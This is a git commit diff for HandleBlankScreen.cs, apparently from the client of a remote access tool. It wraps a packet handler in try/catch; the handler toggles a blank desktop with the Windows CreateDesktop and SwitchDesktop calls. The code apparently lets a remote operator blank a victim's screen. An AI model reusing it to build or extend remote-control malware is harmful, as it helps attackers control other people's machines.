Update HandleBlankScreen.cs

This commit is contained in:
NYAN CAT 2019-06-17 12:11:35 +03:00
parent 526cf5de0f
commit 4abe91b06b

View File

@ -6,7 +6,7 @@ using System.Text;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
class HandleBlankScreen public static class HandleBlankScreen
{ {
[DllImport("user32.dll")] [DllImport("user32.dll")]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
@ -52,20 +52,23 @@ namespace Client.Handle_Packet
public static bool switcher = false; //the screen is not blanked be default so this should be false public static bool switcher = false; //the screen is not blanked be default so this should be false
public static void RunBlankScreen() public static void RunBlankScreen()
{ {
//light switch logic CopyPasta by MrDevBot try
if (switcher == false) //The current screen is NOT blanked and needs to be
{ {
SwitchDesktop(hNewDesktop); //light switch logic CopyPasta by MrDevBot
switcher = true; //sets the switch to on for next click if (switcher == false) //The current screen is NOT blanked and needs to be
return; //returns to calling function {
} SwitchDesktop(hNewDesktop);
else //the screen is blanked and should be switched back to old switcher = true; //sets the switch to on for next click
{ return; //returns to calling function
SwitchDesktop(hOldDesktop); }
switcher = false; //sets the switch to off for next click else //the screen is blanked and should be switched back to old
return; //returns to calling function {
SwitchDesktop(hOldDesktop);
switcher = false; //sets the switch to off for next click
return; //returns to calling function
}
} }
catch { }
} }
} }
} }